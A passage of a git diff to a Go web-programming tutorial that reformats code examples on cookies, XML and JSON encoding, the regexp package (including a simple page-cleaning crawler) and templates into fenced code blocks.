fmt.Fprint(w, cookie) +cookie, _ := r.Cookie("username") +fmt.Fprint(w, cookie) ``` Here is another way to get a cookie: ```Go - for _, cookie := range r.Cookies() { - fmt.Fprint(w, cookie.Name) - } +for _, cookie := range r.Cookies() { + fmt.Fprint(w, cookie.Name) +} ``` As you can see, it's very convenient to get cookies from requests. diff --git a/en/07.1.md b/en/07.1.md index 2c00a4993..17fe147ca 100644 --- a/en/07.1.md +++ b/en/07.1.md @@ -5,19 +5,19 @@ XML is a commonly used data communication format in web services. Today, it's as I will not make any attempts to teach XML's syntax or conventions. For that, please read more documentation about XML itself. We will only focus on how to encode and decode XML files in Go. Suppose you work in IT, and you have to deal with the following XML configuration file: - - - - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - - +```xml + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + +``` The above XML document contains two kinds of information about your server: the server name and IP. We will use this document in our following examples. ## Parse XML @@ -29,68 +29,68 @@ How do we parse this XML document? We can use the `Unmarshal` function in Go's ` the `data` parameter receives a data stream from an XML source, and `v` is the structure you want to output the parsed XML to. It is an interface, which means you can convert XML to any structure you desire. Here, we'll only talk about how to convert from XML to the `struct` type since they share similar tree structures. Sample code: - - package main - - import ( - "encoding/xml" - "fmt" - "io/ioutil" - "os" - ) - - type Recurlyservers struct { - XMLName xml.Name `xml:"servers"` - Version string `xml:"version,attr"` - Svs []server `xml:"server"` - Description string `xml:",innerxml"` - } - - type server struct { - XMLName xml.Name `xml:"server"` - ServerName string `xml:"serverName"` - ServerIP string `xml:"serverIP"` - } - - func main() { - file, err := os.Open("servers.xml") // For read access. - if err != nil { - fmt.Printf("error: %v", err) - return - } - defer file.Close() - data, err := ioutil.ReadAll(file) - if err != nil { - fmt.Printf("error: %v", err) - return - } - v := Recurlyservers{} - err = xml.Unmarshal(data, &v) - if err != nil { - fmt.Printf("error: %v", err) - return - } - - fmt.Println(v) - } - +```Go +package main + +import ( + "encoding/xml" + "fmt" + "io/ioutil" + "os" +) + +type Recurlyservers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + Description string `xml:",innerxml"` +} + +type server struct { + XMLName xml.Name `xml:"server"` + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` +} + +func main() { + file, err := os.Open("servers.xml") // For read access. + if err != nil { + fmt.Printf("error: %v", err) + return + } + defer file.Close() + data, err := ioutil.ReadAll(file) + if err != nil { + fmt.Printf("error: %v", err) + return + } + v := Recurlyservers{} + err = xml.Unmarshal(data, &v) + if err != nil { + fmt.Printf("error: %v", err) + return + } + + fmt.Println(v) +} +``` XML is actually a tree data structure, and we can define a very similar structure using structs in Go, then use `xml.Unmarshal` to convert from XML to our struct object. The sample code will print the following content: - - {{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - } - +```xml +{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + +} +``` We use `xml.Unmarshal` to parse the XML document to the corresponding struct object. You should see that we have something like `xml:"serverName"` in our struct. This is a feature of structs called `struct tags` for helping with reflection. Let's see the definition of `Unmarshal` again: - - func Unmarshal(data []byte, v interface{}) error - +```Go +func Unmarshal(data []byte, v interface{}) error +``` The first argument is an XML data stream. The second argument is storage type and supports the struct, slice and string types. Go's XML package uses reflection for data mapping, so all fields in v should be exported. However, this causes a problem: how does it know which XML field corresponds to the mapped struct field? The answer is that the XML parser parses data in a certain order. The library will try to find the matching struct tag first. If a match cannot be found then it searches through the struct field names. Be aware that all tags, field names and XML elements are case sensitive, so you have to make sure that there is a one-to-one correspondence for the mapping to succeed. Go's reflection mechanism allows you to use this tag information to reflect XML data to a struct object. If you want to know more about reflection in Go, please read the package documentation on struct tags and reflection. @@ -116,60 +116,60 @@ Note that all fields in structs should be exported (capitalized) in order to par ## Produce XML What if we want to produce an XML document instead of parsing one. How do we do this in Go? Unsurprisingly, the `xml` package provides two functions which are `Marshal` and `MarshalIndent`, where the second function automatically indents the marshalled XML document. Their definition as follows: - - func Marshal(v interface{}) ([]byte, error) - func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) - +```Go +func Marshal(v interface{}) ([]byte, error) +func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) +``` The first argument in both of these functions is for storing a marshalled XML data stream. Let's look at an example to see how this works: - - package main - - import ( - "encoding/xml" - "fmt" - "os" - ) - - type Servers struct { - XMLName xml.Name `xml:"servers"` - Version string `xml:"version,attr"` - Svs []server `xml:"server"` - } - - type server struct { - ServerName string `xml:"serverName"` - ServerIP string `xml:"serverIP"` - } - - func main() { - v := &Servers{Version: "1"} - v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) - v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) - output, err := xml.MarshalIndent(v, " ", " ") - if err != nil { - fmt.Printf("error: %v\n", err) - } - os.Stdout.Write([]byte(xml.Header)) - - os.Stdout.Write(output) - } - +```Go +package main + +import ( + "encoding/xml" + "fmt" + "os" +) + +type Servers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` +} + +type server struct { + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` +} + +func main() { + v := &Servers{Version: "1"} + v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) + v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) + output, err := xml.MarshalIndent(v, " ", " ") + if err != nil { + fmt.Printf("error: %v\n", err) + } + os.Stdout.Write([]byte(xml.Header)) + + os.Stdout.Write(output) +} +``` The above example prints the following information: - - - - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - - +```xml + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + +``` As we've previously defined, the reason we have `os.Stdout.Write([]byte(xml.Header))` is because both `xml.MarshalIndent` and `xml.Marshal` do not output XML headers on their own, so we have to explicitly print them in order to produce XML documents correctly. Here we can see that `Marshal` also receives a v parameter of type `interface{}`. So what are the rules when marshalling to an XML document? @@ -198,15 +198,15 @@ Then we need to figure out how to set tags in order to produce the final XML doc - If a tag contains `",comment"`, it prints it as a comment without escaping, so you cannot have "--" in its value. - If a tag contains `"omitempty"`, it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface, zero length of array, slice, map and string. - If a tag contains `"a>b>c"`, it prints three elements where a contains b and b contains c, like in the following code: - - FirstName string `xml:"name>first"` - LastName string `xml:"name>last"` - - - Asta - Xie - - +```xml +FirstName string `xml:"name>first"` +LastName string `xml:"name>last"` + + +Asta +Xie + +``` You may have noticed that struct tags are very useful for dealing with XML, and the same goes for the other data formats we'll be discussing in the following sections. If you still find that you have problems with working with struct tags, you should probably read more documentation about them before diving into the next section. ## Links diff --git a/en/07.2.md b/en/07.2.md index 58707d3d7..8a4abc9b7 100644 --- a/en/07.2.md +++ b/en/07.2.md @@ -7,9 +7,9 @@ The biggest difference between JSON and XML is that XML is a complete markup lan Since JSON is becoming more and more important in web development, let's take a look at the level of support Go has for JSON. You'll find that Go's standard library has very good support for encoding and decoding JSON. Here we use JSON to represent the example in the previous section: - - {"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} - +```json +{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} +``` The rest of this section will use this JSON data to introduce JSON concepts in Go. ## Parse JSON @@ -17,34 +17,35 @@ The rest of this section will use this JSON data to introduce JSON concepts in G ### Parse to struct Suppose we have the JSON in the above example. How can we parse this data and map it to a struct in Go? Go provides the following function for just this purpose: - - func Unmarshal(data []byte, v interface{}) error - +```Go +func Unmarshal(data []byte, v interface{}) error +``` We can use this function like so: - package main - - import ( - "encoding/json" - "fmt" - ) - - type Server struct { - ServerName string - ServerIP string - } - - type Serverslice struct { - Servers []Server - } - - func main() { - var s Serverslice - str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` - json.Unmarshal([]byte(str), &s) - fmt.Println(s) - } - +```Go +package main + +import ( + "encoding/json" + "fmt" +) + +type Server struct { + ServerName string + ServerIP string +} + +type Serverslice struct { + Servers []Server +} + +func main() { + var s Serverslice + str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` + json.Unmarshal([]byte(str), &s) + fmt.Println(s) +} +``` In the above example, we defined a corresponding structs in Go for our JSON, using slice for an array of JSON objects and field name as our JSON keys. But how does Go know which JSON object corresponds to which specific struct filed? Suppose we have a key called `Foo` in JSON. How do we find its corresponding field? - First, Go tries to find the (capitalised) exported field whose tag contains `Foo`. @@ -65,120 +66,120 @@ We know that an interface{} can be anything in Go, so it is the best container t - `nil` represents `JSON null`. Suppose we have the following JSON data: - - b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) - +```Go +b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) +``` Now we parse this JSON to an interface{}: - - var f interface{} - err := json.Unmarshal(b, &f) - +```Go +var f interface{} +err := json.Unmarshal(b, &f) +``` The `f` stores a map, where keys are strings and values are interface{}'s'. - - f = map[string]interface{}{ - "Name": "Wednesday", - "Age": 6, - "Parents": []interface{}{ - "Gomez", - "Morticia", - }, - } - +```Go +f = map[string]interface{}{ + "Name": "Wednesday", + "Age": 6, + "Parents": []interface{}{ + "Gomez", + "Morticia", + }, +} +``` So, how do we access this data? Type assertion. - - m := f.(map[string]interface{}) - +```Go +m := f.(map[string]interface{}) +``` After asserted, you can use the following code to access data: - - for k, v := range m { - switch vv := v.(type) { - case string: - fmt.Println(k, "is string", vv) - case int: - fmt.Println(k, "is int", vv) - case float64: - fmt.Println(k,"is float64",vv) - case []interface{}: - fmt.Println(k, "is an array:") - for i, u := range vv { - fmt.Println(i, u) - } - default: - fmt.Println(k, "is of a type I don't know how to handle") - } - } - +```Go +for k, v := range m { + switch vv := v.(type) { + case string: + fmt.Println(k, "is string", vv) + case int: + fmt.Println(k, "is int", vv) + case float64: + fmt.Println(k,"is float64",vv) + case []interface{}: + fmt.Println(k, "is an array:") + for i, u := range vv { + fmt.Println(i, u) + } + default: + fmt.Println(k, "is of a type I don't know how to handle") + } +} +``` As you can see, we can now parse JSON of an unknown format through interface{} and type assertion. The above example is the official solution, but type asserting is not always convenient. So, I recommend an open source project called `simplejson`, created and maintained by bitly. Here is an example of how to use this project to deal with JSON of an unknown format: - - js, err := NewJson([]byte(`{ - "test": { - "array": [1, "2", 3], - "int": 10, - "float": 5.150, - "bignum": 9223372036854775807, - "string": "simplejson", - "bool": true - } - }`)) - - arr, _ := js.Get("test").Get("array").Array() - i, _ := js.Get("test").Get("int").Int() - ms := js.Get("test").Get("string").MustString() - +```Go +js, err := NewJson([]byte(`{ + "test": { + "array": [1, "2", 3], + "int": 10, + "float": 5.150, + "bignum": 9223372036854775807, + "string": "simplejson", + "bool": true + } +}`)) + +arr, _ := js.Get("test").Get("array").Array() +i, _ := js.Get("test").Get("int").Int() +ms := js.Get("test").Get("string").MustString() +``` It's not hard to see how convenient this is. Check out the repository to see more information: [https://github.com/bitly/go-simplejson](https://github.com/bitly/go-simplejson). ## Producing JSON In many situations, we need to produce JSON data and respond to clients. In Go, the JSON package has a function called `Marshal` to do just that: - - func Marshal(v interface{}) ([]byte, error) - +```Go +func Marshal(v interface{}) ([]byte, error) +``` Suppose we need to produce a server information list. We have following sample: - - package main - - import ( - "encoding/json" - "fmt" - ) - - type Server struct { - ServerName string - ServerIP string - } - - type Serverslice struct { - Servers []Server - } - - func main() { - var s Serverslice - s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) - s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) - b, err := json.Marshal(s) - if err != nil { - fmt.Println("json err:", err) - } - fmt.Println(string(b)) - } - +```Go +package main + +import ( + "encoding/json" + "fmt" +) + +type Server struct { + ServerName string + ServerIP string +} + +type Serverslice struct { + Servers []Server +} + +func main() { + var s Serverslice + s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) + s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) + b, err := json.Marshal(s) + if err != nil { + fmt.Println("json err:", err) + } + fmt.Println(string(b)) +} +``` Output: - - {"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} - +```json +{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} +``` As you know, all field names are capitalized, but if you want your JSON key names to start with a lower case letter, you should use `struct tag`s. Otherwise, Go will not produce data for internal fields. - - type Server struct { - ServerName string `json:"serverName"` - ServerIP string `json:"serverIP"` - } - - type Serverslice struct { - Servers []Server `json:"servers"` - } - +```Go +type Server struct { + ServerName string `json:"serverName"` + ServerIP string `json:"serverIP"` +} + +type Serverslice struct { + Servers []Server `json:"servers"` +} +``` After this modification, we can produce the same JSON data as before. Here are some points you need to keep in mind when trying to produce JSON: @@ -189,32 +190,32 @@ Here are some points you need to keep in mind when trying to produce JSON: - If the field type is `bool`, string, int, `int64`, etc, and its tag contains `",string"`, Go converts this field to its corresponding JSON type. Example: - - type Server struct { - // ID will not be outputed. - ID int `json:"-"` - - // ServerName2 will be converted to JSON type. - ServerName string `json:"serverName"` - ServerName2 string `json:"serverName2,string"` - - // If ServerIP is empty, it will not be outputted. - ServerIP string `json:"serverIP,omitempty"` - } - - s := Server { - ID: 3, - ServerName: `Go "1.0" `, - ServerName2: `Go "1.0" `, - ServerIP: ``, - } - b, _ := json.Marshal(s) - os.Stdout.Write(b) - +```Go +type Server struct { + // ID will not be outputed. + ID int `json:"-"` + + // ServerName2 will be converted to JSON type. + ServerName string `json:"serverName"` + ServerName2 string `json:"serverName2,string"` + + // If ServerIP is empty, it will not be outputted. + ServerIP string `json:"serverIP,omitempty"` +} + +s := Server { + ID: 3, + ServerName: `Go "1.0" `, + ServerName2: `Go "1.0" `, + ServerIP: ``, +} +b, _ := json.Marshal(s) +os.Stdout.Write(b) +``` Output: - - {"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} - +```json +{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} +``` The `Marshal` function only returns data when it has succeeded, so here are some points we need to keep in mind: - JSON only supports strings as keys, so if you want to encode a map, its type has to be `map[string]T`, where `T` is the type in Go. diff --git a/en/07.3.md b/en/07.3.md index 400190fd2..704347cf7 100644 --- a/en/07.3.md +++ b/en/07.3.md @@ -10,35 +10,35 @@ If you recall form validation from previous sections, we used Regexp to verify t ## Match The `regexp` package has 3 functions to match: if it matches a pattern, then it returns true, returning false otherwise. - - func Match(pattern string, b []byte) (matched bool, error error) - func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) - func MatchString(pattern string, s string) (matched bool, error error) - +```Go +func Match(pattern string, b []byte) (matched bool, error error) +func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) +func MatchString(pattern string, s string) (matched bool, error error) +``` All 3 functions check if `pattern` matches the input source, returning true if it matches. However if your Regex has syntax errors, it will return an error. The 3 input sources of these functions are `slice of byte`, `RuneReader` and `string`. Here is an example of how to verify an IP address: - - func IsIP(ip string) (b bool) { - if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { - return false - } - return true +```Go +func IsIP(ip string) (b bool) { + if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { + return false } - + return true +} +``` As you can see, using pattern in the `regexp` package is not that different. Here's one more example on verifying whether user input is valid: - - func main() { - if len(os.Args) == 1 { - fmt.Println("Usage: regexp [string]") - os.Exit(1) - } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { - fmt.Println("Number") - } else { - fmt.Println("Not number") - } +```Go +func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("Number") + } else { + fmt.Println("Not number") } - +} +``` In the above examples, we use `Match(Reader|String)` to check if content is valid, but they are all easy to use. ## Filter @@ -46,191 +46,191 @@ In the above examples, we use `Match(Reader|String)` to check if content is vali Match mode can verify content but it cannot cut, filter or collect data from it. If you want to do that, you have to use the complex mode of Regexp. Let's say we need to write a crawler. Here is an example for when you must use Regexp to filter and cut data. - - package main - - import ( - "fmt" - "io/ioutil" - "net/http" - "regexp" - "strings" - ) - - func main() { - resp, err := http.Get("http://www.baidu.com/") - if err != nil { - fmt.Println("http get error.") - } - defer resp.Body.Close() - body, err := ioutil.ReadAll(resp.Body) - if err != nil { - fmt.Println("http read error") - return - } - - src := string(body) - - // Convert HTML tags to lower case. - re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") - src = re.ReplaceAllStringFunc(src, strings.ToLower) - - // Remove STYLE. - re, _ = regexp.Compile("\\") - src = re.ReplaceAllString(src, "") - - // Remove SCRIPT. - re, _ = regexp.Compile("\\") - src = re.ReplaceAllString(src, "") - - // Remove all HTML code in angle brackets, and replace with newline. - re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") - src = re.ReplaceAllString(src, "\n") - - // Remove continuous newline. - re, _ = regexp.Compile("\\s{2,}") - src = re.ReplaceAllString(src, "\n") - - fmt.Println(strings.TrimSpace(src)) +```Go +package main + +import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" +) + +func main() { + resp, err := http.Get("http://www.baidu.com/") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return } -In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then returns a `Regexp` for parsing content in other operations. + src := string(body) -Here are some functions to parse your Regexp syntax: + // Convert HTML tags to lower case. + re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllStringFunc(src, strings.ToLower) - func Compile(expr string) (*Regexp, error) - func CompilePOSIX(expr string) (*Regexp, error) - func MustCompile(str string) *Regexp - func MustCompilePOSIX(str string) *Regexp + // Remove STYLE. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") -The difference between `ComplePOSIX` and `Compile` is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp `[a-z]{2,4}` and content `"aa09aaa88aaaa"`, `CompilePOSIX` returns `aaaa` but `Compile` returns `aa`. `Must` prefix means panic when the Regexp syntax is not correct, returning error otherwise. + // Remove SCRIPT. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") -Now that we know how to create a new Regexp, let's see how the methods provided by this struct can help us to operate on content: + // Remove all HTML code in angle brackets, and replace with newline. + re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllString(src, "\n") - func (re *Regexp) Find(b []byte) []byte - func (re *Regexp) FindAll(b []byte, n int) [][]byte - func (re *Regexp) FindAllIndex(b []byte, n int) [][]int - func (re *Regexp) FindAllString(s string, n int) []string - func (re *Regexp) FindAllStringIndex(s string, n int) [][]int - func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string - func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int - func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte - func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int - func (re *Regexp) FindIndex(b []byte) (loc []int) - func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) - func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int - func (re *Regexp) FindString(s string) string - func (re *Regexp) FindStringIndex(s string) (loc []int) - func (re *Regexp) FindStringSubmatch(s string) []string - func (re *Regexp) FindStringSubmatchIndex(s string) []int - func (re *Regexp) FindSubmatch(b []byte) [][]byte - func (re *Regexp) FindSubmatchIndex(b []byte) []int + // Remove continuous newline. + re, _ = regexp.Compile("\\s{2,}") + src = re.ReplaceAllString(src, "\n") -These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can really simplify this list by ignoring input sources as follows: + fmt.Println(strings.TrimSpace(src)) +} +``` +In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then returns a `Regexp` for parsing content in other operations. - func (re *Regexp) Find(b []byte) []byte - func (re *Regexp) FindAll(b []byte, n int) [][]byte - func (re *Regexp) FindAllIndex(b []byte, n int) [][]int - func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte - func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int - func (re *Regexp) FindIndex(b []byte) (loc []int) - func (re *Regexp) FindSubmatch(b []byte) [][]byte - func (re *Regexp) FindSubmatchIndex(b []byte) []int +Here are some functions to parse your Regexp syntax: +```Go +func Compile(expr string) (*Regexp, error) +func CompilePOSIX(expr string) (*Regexp, error) +func MustCompile(str string) *Regexp +func MustCompilePOSIX(str string) *Regexp +``` +The difference between `ComplePOSIX` and `Compile` is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp `[a-z]{2,4}` and content `"aa09aaa88aaaa"`, `CompilePOSIX` returns `aaaa` but `Compile` returns `aa`. `Must` prefix means panic when the Regexp syntax is not correct, returning error otherwise. +Now that we know how to create a new Regexp, let's see how the methods provided by this struct can help us to operate on content: +```Go +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllString(s string, n int) []string +func (re *Regexp) FindAllStringIndex(s string, n int) [][]int +func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string +func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) +func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int +func (re *Regexp) FindString(s string) string +func (re *Regexp) FindStringIndex(s string) (loc []int) +func (re *Regexp) FindStringSubmatch(s string) []string +func (re *Regexp) FindStringSubmatchIndex(s string) []int +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int +``` +These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can really simplify this list by ignoring input sources as follows: +```Go +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int +``` Code sample: - - package main - - import ( - "fmt" - "regexp" - ) - - func main() { - a := "I am learning Go language" - - re, _ := regexp.Compile("[a-z]{2,4}") - - // Find the first match. - one := re.Find([]byte(a)) - fmt.Println("Find:", string(one)) - - // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it's greater than 0. - all := re.FindAll([]byte(a), -1) - fmt.Println("FindAll", all) - - // Find index of first match, start and end position. - index := re.FindIndex([]byte(a)) - fmt.Println("FindIndex", index) - - // Find index of all matches, the n does same job as above. - allindex := re.FindAllIndex([]byte(a), -1) - fmt.Println("FindAllIndex", allindex) - - re2, _ := regexp.Compile("am(.*)lang(.*)") - - // Find first submatch and return array, the first element contains all elements, the second element contains the result of first (), the third element contains the result of second (). - // Output: - // the first element: "am learning Go language" - // the second element: " learning Go ", notice spaces will be outputed as well. - // the third element: "uage" - submatch := re2.FindSubmatch([]byte(a)) - fmt.Println("FindSubmatch", submatch) - for _, v := range submatch { - fmt.Println(string(v)) - } - - // Same as FindIndex(). - submatchindex := re2.FindSubmatchIndex([]byte(a)) - fmt.Println(submatchindex) - - // FindAllSubmatch, find all submatches. - submatchall := re2.FindAllSubmatch([]byte(a), -1) - fmt.Println(submatchall) - - // FindAllSubmatchIndex,find index of all submatches. - submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) - fmt.Println(submatchallindex) +```Go +package main + +import ( + "fmt" + "regexp" +) + +func main() { + a := "I am learning Go language" + + re, _ := regexp.Compile("[a-z]{2,4}") + + // Find the first match. + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) + + // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it's greater than 0. + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) + + // Find index of first match, start and end position. + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) + + // Find index of all matches, the n does same job as above. + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) + + re2, _ := regexp.Compile("am(.*)lang(.*)") + + // Find first submatch and return array, the first element contains all elements, the second element contains the result of first (), the third element contains the result of second (). + // Output: + // the first element: "am learning Go language" + // the second element: " learning Go ", notice spaces will be outputed as well. + // the third element: "uage" + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) } -As we've previously mentioned, Regexp also has 3 methods for matching. They do the exact same thing as the exported functions. In fact, those exported functions actually call these methods under the hood: + // Same as FindIndex(). + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) - func (re *Regexp) Match(b []byte) bool - func (re *Regexp) MatchReader(r io.RuneReader) bool - func (re *Regexp) MatchString(s string) bool + // FindAllSubmatch, find all submatches. + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) + // FindAllSubmatchIndex,find index of all submatches. + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) +} +``` +As we've previously mentioned, Regexp also has 3 methods for matching. They do the exact same thing as the exported functions. In fact, those exported functions actually call these methods under the hood: +```Go +func (re *Regexp) Match(b []byte) bool +func (re *Regexp) MatchReader(r io.RuneReader) bool +func (re *Regexp) MatchString(s string) bool +``` Next, let's see how to replace strings using Regexp: - - func (re *Regexp) ReplaceAll(src, repl []byte) []byte - func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte - func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte - func (re *Regexp) ReplaceAllLiteralString(src, repl string) string - func (re *Regexp) ReplaceAllString(src, repl string) string - func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string - +```Go +func (re *Regexp) ReplaceAll(src, repl []byte) []byte +func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte +func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte +func (re *Regexp) ReplaceAllLiteralString(src, repl string) string +func (re *Regexp) ReplaceAllString(src, repl string) string +func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string +``` These are used in the crawling example, so we will not explain any further here. Let's take a look at the definition of `Expand`: - - func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte - func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte - +```Go +func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte +func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte +``` So how do we use `Expand`? - - func main() { - src := []byte(` - call hello alice - hello bob - call hello eve - `) - pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) - res := []byte{} - for _, s := range pat.FindAllSubmatchIndex(src, -1) { - res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) - } - fmt.Println(string(res)) +```Go +func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) } - + fmt.Println(string(res)) +} +``` At this point, you've learnt the whole `regexp` package in Go. I hope that you can understand more by studying examples of key methods, so that you can do something interesting on your own. ## Links diff --git a/en/07.4.md b/en/07.4.md index 6f1772dfa..a4883dcde 100644 --- a/en/07.4.md +++ b/en/07.4.md @@ -16,14 +16,14 @@ Most of the content that web applications respond to clients with is static, and In Go, we have the `template` package to help handle templates. We can use functions like `Parse`, `ParseFile` and `Execute` to load templates from plain text or files, then evaluate the dynamic parts, as shown in figure 7.1. Example: - - func handler(w http.ResponseWriter, r *http.Request) { - t := template.New("some template") // Create a template. - t, _ = t.ParseFiles("tmpl/welcome.html", nil) // Parse template file. - user := GetUser() // Get current user infomration. - t.Execute(w, user) // merge. - } - +```Go +func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") // Create a template. + t, _ = 